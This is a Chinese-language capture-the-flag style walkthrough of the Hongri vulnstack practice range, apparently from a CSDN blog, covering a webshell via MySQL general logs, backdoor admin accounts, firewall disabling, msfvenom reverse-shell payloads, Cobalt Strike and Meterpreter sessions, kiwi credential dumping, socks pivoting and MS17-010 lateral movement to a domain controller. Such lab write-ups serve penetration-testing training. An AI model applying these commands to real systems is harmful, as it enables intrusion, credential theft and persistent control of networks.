一、靶场环境搭建
- 红日靶场:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
- 靶机通用密码:hongrisec@2019
- win7
- win2003
- win2008
这个搭建靶场的过程是我经过实际操作(踩坑)总结的最简单省事的方式。
首先创建一个仅主机模式的子网作为内网,地址为:192.168.52.0。我这里是直接修改的VMnet1。
192.168.50.0/24 即 VMnet8 当作靶场里的外网。
将 windows2003 和 windows2008 两台主机都设置为自定义VMnet1
win7是边缘主机,对外的公网ip搭建着web服务的同时还连接着内网,因此需要两块网卡。
注意:这两个网卡的顺序最好和我这个一致,不然有可能内网连不通!即内网网卡要排在前面。
最后还有我们的kali攻击机, 网络是在 50 段,即外网段。
网络拓扑图:
二、web渗透
上来先收集一波信息,nmap扫描一下端口
nmap -sV -Pn 192.168.50.133-sV: 指定让Nmap进行版本侦测-PN: 跳过Ping扫描阶段
扫描出两个端口80 3306,存在web服务和mysql数据库。
访问80端口,发现是个phpstudy探针,说明网站是phpstudy搭建的。
这个页面泄露了很多信息,服务器版本、php版本、绝对路径、管理员邮箱等。
可以在这里检测mysql是否存在弱口令
测试 root root 发现存在弱口令。因为网站是phpstudy搭建,很可能存在 phpmyadmin 后台,
直接来扫一下目录
确实存在phpmyadmin,还扫到了一个备份文件,打开发现是yxcms的网站源码,应该部署着这个CMS 。
使用弱口令登进去phpmyadmin,查看数据库是否有导入权限,看能否导入木马
SHOW GLOBAL VARIABLES LIKE '%secure%'
没有导入权限,查看是否有开启全局日志
SHOW GLOBAL VARIABLES LIKE '%general%'
全局日志功能关闭,不过可以通过命令开启,并修改日志保存的绝对路径,这里的路径可以在探针页面获得。
SET GLOBAL general_log = ON;# 开启日志SET GLOBAL general_log_file = 'C:/phpstudy/WWW/test.php';# 设置日志位置为网站目录
接着向日志文件写shell
select ''
执行这条语句之后,日志会将select后的查询语句记录进日志,从而让日志变成一个一句话木马。
用蚁剑连接
连接成功。
我们再来看下部署的CMS,打开网站
从右下角看到了网站后台的登录地址和默认账号密码,尝试登录
成功登录。在前台模板功能里发现可以直接编辑php文件,尝试写入shell。
随便找一个文件添加一句话
保存后,接下来就要想办法找到这个info.php所在的目录了,先来扫描一下后台
点进去发现这个网站还存在目录遍历漏洞
那就好办了,为了防止疏漏我们直接去看前面扫到的备份文件(如果没有备份文件可以根据网站版本去网上自己下载)
找到了目标文件,尝试连接。
成功连接。来看一下拿到的shell是什么权限
太好了,是管理员权限。
紧接着先把防火墙关了,养成好习惯。
netsh advfirewall set allprofiles state off #win关闭防火墙
1、远程登录
尝试添加一个用户,进行远程登陆
net user qqq qwer@1234 /add # 添加账户密码net localgroup administrators qqq /add # 添加为管理员权限REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f # 开启3389端口
用户添加成功,尝试登录
成功登录。(如果防火墙没关会登录失败)
2、上线CS:
启动服务
设置监听:
生成一个EXE后门
通过蚁剑上传并执行
成功上线。执行sleep 0,不然回显会很慢
sleep 0则表示进入交互模式,任何输入的命令都会被立即执行。
shell systeminfo 查看系统信息,看到只打了四个补丁,尝试进行提权
提权成功。
3、上线MSF:
msf生成木马
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f exe > shell.exe
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.jsp
Python
msfvenom -p cmd/unix/reverse_python LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.pl
开启msf监听
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.50.130set lport 7777run
通过蚁剑将生成的木马上传并运行。
成功上线。再来尝试提一下权:
因为是administrator用户,所以很容易提权成功。
三、内网信息收集
开始进行内网的信息收集阶段。
获取目标主机的shell,输入chcp 65001可解决乱码问题(或者用蚁剑的终端)。
看一下路由信息
route print # 打印路由信息
可知内网网段应该是 192.168.52.1/24
关于Windows域: 详细信息
Windows域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器(DC)的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 Windows域的概念与工作组的概念形成对比。
首先判断是否在域中,域控制器一般集成了DNS服务,通过 ipconfig /all
,即可简单判断。
该域名为god.org,还可以使用下面这种方式。
net view /domain #查询当前主机是否加入域,如果加入则列出域名
查看域内信息
net config Workstation #查看计算机名、全名、用户名、系统版本、工作站、域、登录域
接着定位域控:
net time /domain #同步域控服务器时间
域控的域名即 owa.god.org ,用 ping 即可反查出域控ip
得到域控制器IP为192.168.52.138
再来看一下域内的其它主机
net view #查看与该计算机位于同一工作组或域中的所有计算机名
这里的 OWA 就是上面的域控,另一个就是域内的其它主机了。
再来看一下域管理员
net group "domain admins" /domain # 查询域管理员
很幸运,可以看到这里我们获得的 Administration 就是域控OWA的域管理员 。
看一下域里有几个用户
net user /domain # 查看域用户,只有域管才能执行
得到5个域用户名。
尝试抓取主机本地的密码:
hashdump #导出本地用户账号密码,该命令的使用需要系统权限。
用户哈希数据的输出格式为:
用户名:SID:LM哈希:NTLM哈希:::
得到了三个本地用户账号,分别为 Administrator、Guest 和 liukaifeng01 。
三个账号的LM哈希aad3b435b51404eeaad3b435b51404ee
和NTLM哈希31d6cfe0d16ae931b73c59d7e0c089c0
都是空密码。
这是因为当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,需要修改注册表等用户重新登录后才能成功抓取。
那就尝试抓取域内的账号密码:利用 msf 的 kiwi 模块 详细介绍
load kiwi #加载kiwi模块help kiwi #查看kiwi模块的使用
注意执行需要system权限。
creds_all #列举所有凭据creds_kerberos #列举域内账号密码
成功得到域账号密码。
目前为止,我们获得的内网信息有:
域名:god.org域内有五个用户:Administrator、Guest、liukaifeng01、ligang、krbtgt域内三台主机:OWA、ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)域控:OWA(192.168.52.138)win7内网ip:192.168.52.143
四、横向渗透
为了让 msf 能访问内网的其他主机,即 52 网段的攻击流量都通过已渗透的这台目标主机(Windows7)的meterpreter会话来传递,需要建立socks反向代理。
注:添加路由一定要在挂代理之前,因为代理需要用到路由功能
1、添加路由、挂上Socks4a代理
使用 msf+proxychains 搭建socks4a隧道。
在之前监听到的shell中设置内网路由
run autoroute -s 192.168.52.0/24 # 添加内网的路由run autoroute -p # 查看路由
开启代理:
backgrounduse auxiliary/server/socks4aset SRVHOST 127.0.0.1(这里因为是本机可以写本地ip)run
然后在 proxychains 的配置文件 /etc/proxychains.conf,添加本机的1080端口:
socks4 127.0.0.1 1080
然后执行命令时,前面加上 proxychains 即可。如:
proxychains ping 192.168.52.141(域成员ip)
访问成功,下面就开始嚯嚯内网的两台主机。
2、域成员渗透
首先看一下域成员的端口开放情况:
全扫时间有点久,这里因为是练习,就只对高危端口进行扫描
proxychains nmap -sV -Pn -p 22,80,135,443,445,3389 192.168.52.141
看到135、445是开放的,并且这台终端为 win_2003,32位系统。
常见端口漏洞:
- 21-FTP,看是否存在匿名访问
- 22-SSH,看是否存在弱口令
- 80-HTTP,常见web漏洞
- 443-openssl,心脏出血
- 445-smb,ms17-010、ms08-067
- 3306-mysql,弱口令
- 1433-mssql,弱口令
- 1521-oracle,弱口令
- 3389-远程连接桌面
- 6379-redis未授权访问,弱口令
- 8080-tomcat漏洞
- …
这里开放了445端口,看一下是否存在ms17-010
确实存在漏洞,使用 use exploit/windows/smb/ms17_010_eternalblue 利用,发现只支持打64位系统,不支持32位。
再换一个模块
use auxiliary/admin/smb/ms17_010_commandset COMMAND net userset RHOST 192.168.52.141run
成功执行命令。接着我们来添加一个用户尝试远程登录一下。
还是使用上面的模块,依次执行下面命令
set command net user sss qwer@1234 /add #添加用户run # 发现用户添加不成功,后来发现是因为有密码设置策略,密码不能太简单。set command net localgroup administrators sss /add #管理员权限run set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口runset command netsh advfirewall set allprofiles state off #关闭防火墙run #好像没有防火墙
然后远程登录
proxychains rdesktop 192.168.52.141
这里注意一定要选这个,因为登陆的是本机。
成功进来了!
3、域控渗透
同样的,先扫描一下端口
proxychains nmap -sV -Pn -p 22,80,135,443,445,3389 192.168.52.138
看到其开启了 80 端口,访问网站,发现是IIS初始网站,没有搭建网站,也不存在敏感目录。先不管它,还是先使用 ms17-010 测试一下。
发现也存在漏洞,同样先使用 use exploit/windows/smb/ms17_010_eternalblue 模块利用,但还是利用不了,猜测可能是防火墙的问题,因为这个系统是64位的。
再用上面的老方法 use auxiliary/admin/smb/ms17_010_command 发现可以执行。接着添加用户aaa
尝试远程连接
这里不知道为啥就是登不上,用户确实创建成功了。。。
防火墙已经关掉了,再来试试 ms17_010_eternalblue,然而还是不行。再换种方法,转战CS。
SMB Beacon:
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 psexec 或 Stageless Payload 上线
使用 smb beacon,由一台已经拿到 beacon 的机器,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用smb beacon使目标主机上线。
使用条件:
- 具有 Beacon 的主机必须接受 445 端口上的连接。
- 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
- 必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
这三条这里全都满足,先执行 net view 发现一下域内主机
在列表这里出现了域内的这两台主机。
新建一个 Beacon SMB 监听器,名字随便
域管右键选择psexec
点击运行,成功上线域管,这里顺便把域成员也上线了。可以看到 ∞∞ 这个字符 ,这就是派生的SMB Beacon。
🆗,本次的靶场练习到这里就正式完结啦,经过本次打靶学到了很多!
来源地址:https://blog.csdn.net/qq_43531669/article/details/129945347